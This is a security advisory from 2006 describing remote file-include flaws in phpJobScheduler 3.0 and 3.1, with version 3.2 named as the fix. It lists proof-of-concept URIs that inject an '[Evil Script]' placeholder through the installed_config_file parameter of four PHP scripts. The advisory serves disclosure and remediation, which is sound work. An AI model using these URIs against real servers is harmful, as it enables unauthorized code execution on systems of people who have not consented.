PHPJobscheduler Multiple Remote File Include Vulnerabilities

Bugtraq ID:	21041
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 13 2006 12:00AM
Updated:	Nov 23 2006 09:25PM
Credit:	Firewall1954 is credited with the discovery of these vulnerabilities.
Vulnerable:	phpjobscheduler phpjobscheduler 3.1 phpjobscheduler phpjobscheduler 3.0
Not Vulnerable:	phpjobscheduler phpjobscheduler 3.2

PHPJobscheduler Multiple Remote File Include Vulnerabilities

phpJobScheduler is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Version 3.0 is vulnerable to these issues; other versions may also be affected.

PHPJobscheduler Multiple Remote File Include Vulnerabilities

An attacker may exploit these issues using a web client.

The following proof-of-concept URIs are available:

http://www.example.com/phpjobschedule_PATH/add-modify.php?installed_config_file=[Evil Script]
http://www.example.com/phpjobschedule_PATH/delete.php?installed_config_file=[Evil Script]
http://www.example.com/phpjobschedule_PATH/modify.php?installed_config_file=[Evil Script]
http://www.example.com/phpjobschedule_PATH/phpjobscheduler.php?installed_config_file=[Evil Script]

PHPJobscheduler Multiple Remote File Include Vulnerabilities

Solution:
The vendor has released an update to address this issue. Please see the references for more information.

PHPJobscheduler Multiple Remote File Include Vulnerabilities

References:

• phpjobscheduler Web Site (phpjobscheduler)
  
• Phpjobscheduler 3.0 - Multiple Remote File Include ([email protected])
  
• Re: Re: Phpjobscheduler 3.0 - Multiple Remote File Include ([email protected])